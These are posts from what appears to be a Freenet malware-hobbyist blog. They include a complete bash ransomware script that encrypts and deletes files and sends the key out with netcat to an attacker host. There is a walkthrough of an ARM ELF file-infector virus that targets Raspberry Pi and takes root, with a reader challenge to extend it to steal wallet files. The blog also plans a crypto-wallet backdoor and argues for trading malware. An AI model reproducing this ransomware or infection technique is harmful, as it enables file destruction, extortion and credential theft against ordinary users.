Viral Crypto Wallet Backdoor & Presentation

Permanent link | Tags: none

I've been busy and that doesn't seem to be changing.

I have been studying how to write packers, polymorphic/metamorphic code and how to trick debuggers.

There are a number of ways to do these things, but I've put together an incredibly basic overview in some slides at the end of this post.

I'm working on a viral backdoor for cryptocurrency wallets that allows an attacker to precalculate the victim private keys and grab them off of the block chain without ever connecting to them. I'd like to talk about the concept a bit more, but I'll have full details when the proof of concept is done.

I can't wait to share with you ;)

In the meantime, have some slides ^_^

ODP

PDF

Bash Ransomware Interlude

Permanent link | Tags: ransomware, bash

I'm working on some relatively involved stuff at the moment, but in the meantime I might as well write something short and fun.

People may or may not have seen, just for fun I put some bash ransomware on FMS. It's pretty simple and just about anybody could have written it.

It makes use of /dev/random, find, GPG and netcat to encrypt everything in the current folder and below with a random AES key and then transmit that key to a host.

It's honestly not very impressive but it was fun to write!

Here it is:

KEY=$(< /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-32};)
for f in $(find)
do
echo $f
if [ "$f" != "./ransom.sh" ]; then
echo $KEY | gpg --passphrase-fd 0 --armor --symmetric --batch --quiet $f
rm $f
fi
done
echo $KEY | nc -q 1 somehost 12345 #replace somehost and 12345 with your server/port

Really I didn't even need to echo the filename and I'm sure you could make it even shorter. Imagination is fun!

I'm writing 2 blog posts: 1 about anti-debugging and 1 about polymorphic engines. I hope you'll enjoy them!

In the meantime, have my stupid bash script. :p

An Introduction to File Infectors

Permanent link | Tags: supervixen, ELF, infection

Going Old School

By the standards of the 1990s, much of the simple malware that exists today would be considered a feat of engineering. The scalability and ease of use of a common botnet would surely impress any author from the time.

However, are there lessons we can learn that our forebears might be able to teach us?

In the 80s and 90s, the concept of a computer virus was much closer in structure to a biological virus. Namely, a computer virus would infect files by injecting its code into a legitimate binary to continue the infection cycle.

Despite being rarely discussed, this technique has not died. Notably, file infection is still used even in respectable malware such as stuxnet.

I'll be using the post to discuss the basic mechanisms of file infection and discuss a working example for Linux. Please note that you will need to at least be able to make sense of assembler to get anything out of the technical portions of this article.

Binary File Formats

To understand how a file-infector virus works, we need a basic understanding of the files we're infecting. The major operating systems - Windows, Linux and macOS - all have their own binary file formats. These formats are just like any other document format, except that they describe how binaries(including kernel code) are organized and executed.

The most common binary file formats are:

  • Executable and Linkable Format(ELF) - Unix/Linux
  • Portable Executable(PE) - Windows and UEFI
  • Mach Object(MachO) - macOS

Since the example I'm discussing here works on Linux, I will be discussing the binary file format used on most unix systems which is the ELF executable.

The truth is, you could write a whole book on file infection for each format. For the sake of brevity, we will focus on one format and method.

Parasite Code

The self-replicating payload that is patched into a binary is called parasite code. This is typically a self-contained set of instructions (no external libraries!) that can do all kinds of nice things, from hooking system calls to searching directories. Though typically the length of the parasite code is limited, we can do much more than infect other files.

One important thing to note here: There's no 0day, no exploit or shellcode. Why? There is no need for it. When an unprivileged user runs our code, we infect the files we can. If/when that code is run by a privileged user, we can take full control of the system.

Time to dive in!

SuperVixen

The virus we'll be looking at is called SuperVixen. This virus is for 32 bit ARM systems and is targeted at the raspberry pi. This virus does the typical work of infecting the files that it can, but it also takes advantage of a default configuration in Raspbian that allows the code to easily run as root. Namely, writing sudo is all you need in Raspbian.

This virus functions by taking advantage of the PT_NOTE program header in the ELF binary file format and replacing it with the PT_LOAD program header, which can point to which code we want.

First, fetch the SuperVixen virus here.

You'll see include files for system call constants, elf header constants and some macros for our code. For the sake of this article, we are mostly focused on the code in supervixen.s. It's important to note that this is ARM assembly and not x86 assembly.

This virus does more than just file infection, but the code we're interested in is infect_file, which begins on line 485 of supervixen.s.

The code at the beginning of this routine sets us up. There is a lot that goes on during setup, but the jist is that we are loading the pre-calculated offsets for the data we need into our registers so we can do things like find PT_NOTE(D_PTNOTEOFFSET would be the offset for this, for example), Open our file, find the right elf headers, etc. These values are all defined in Supervixen.s.

After the setup in infect_file, you will find the meat of the function:

Image

First, we load our data read from the read() syscall into r0. Then the next 4 bytes into r1 using the l32c macro defined in retaliaion.inc. We then load the correct program header size into r2 and a reference to the read() system call into r7.

The SWI instruction on ARM is a Software Interruption. This reads the function in r7 and calls it. So in this case, it is calling the read() function. We then compare r2 and r0, that is, the data read from open(at the beginning of the loop) and our appropriate Program header size.

The next instruction, bne(Branch if not equal), is equivalent to jne in x86. If the lengths are different, close(we know something is up). If they are the same, store the offset into pointer at r10. This is a set of variables we are keeping track of.

The not_note subloop checks to see if the header is PT_LOAD and makes sure that alignment is good. For the sake of brevity, I'll just say that it checks to see if the Program Header is PT_LOAD. If it's neither PT_NOTE nor NT_LOAD, we don't care. Keep looping.

Finally, branch to .ph_next. Check to make sure our stored value is the right size and continue.

To finish off this process, we need to change the headers we found to our desired headers that load the code we'd like.

Image

The author has helped us out here by writing a function defined in retaliation.s called pwrite. When the right data is loaded into the correct registers, the function essentially finds and replaces data in a file for us. Convenient!

The above code essentially uses this pwrite method to overwrite the entry point, PT_NOTE with PT_LOAD and replacing the new Elf headers we need to merge our code with the victim.

Conclusion/Code Challenge

Despite being small, SuperVixen is a great virus with a lot of potential. When you combine the file infection aspect with the dropper functionality and consider that it will run on rasbperry pis without issue, it's not hard to see how this could potentially become something even more amazing.

So here's a challenge for you!

Can you make this virus better? Could you, say, check for important information? Perhaps a wallet file of some kind? Maybe you could isntall hooks for network and disk functionality?

If you modify this code at all, please tell me about it and I will write about it with all due credit :)

My freemail address is:
dragonking@mvvgqhzcewye3cu222chni2klgq3aj3uwekgdpusujmpndkoatuq.freemail

Shoutout to JPanic, the author of this code, who is a master of the craft.

An Introduction - Viruses, Malware and Society

Permanent link | Tags: none

I thought I'd make use of the tools available as Freenet plugins and have my own little place on the dark web.

First of all, who am I? Why am I making this website? Did I take my name directly out of a 14 year old's journal in a pitiful attempt to sound cool? The answer may surprise you!

I'm a guy who has built up a little too much rage to keep it in anymore. I also don't want to hurt anybody directly(unless I have to - more on this later) so I thought I'd take an educational/hobbyist route.

I feel that Freenet is a prime place not only for the discussion of malware analysis and design, but also for trading code and binaries. Writing malware comes loaded with stigma. From the start, you are almost universally hated. Why should it be that way? Are we going to confine our ability to use force to the state only? Do we not need to think like our enemy to understand them? Abstractly many people will agree with these concepts, but when you talk about real-world implementations their tune quickly changes.

I am tired of these people. I'm tired of the hypocrites who will mumble incoherently about a better way to do security without ever having been the attack in their entire lives. I'm tired of sheep who are afraid of things they don't understand. Some people think money rules the world. I disagree. Computers rule the world. A failure to understand what is possible with computers means a direct forfeiture of the future.

So here is my flog in all its glory. I've been running(or attempting to run) the vxshare FMS board and I encourage anybody reading this to take a look at it via the FMS Archive. I'll be using the next couple of posts to discuss malware source.

For anybody who has made it this far, Dragon King is actually a statistical term for phenomena that can't be predicted or described with power laws. From Wikipedia: "Dragon king (DK) is double metaphor for an event that is both extremely large in size or impact (a "king") and born of unique origins (a "dragon") relative to its peers (other events from the same system)."

Many non-linear phenomena can be modeled using power laws. Dragon Kings defy prediction.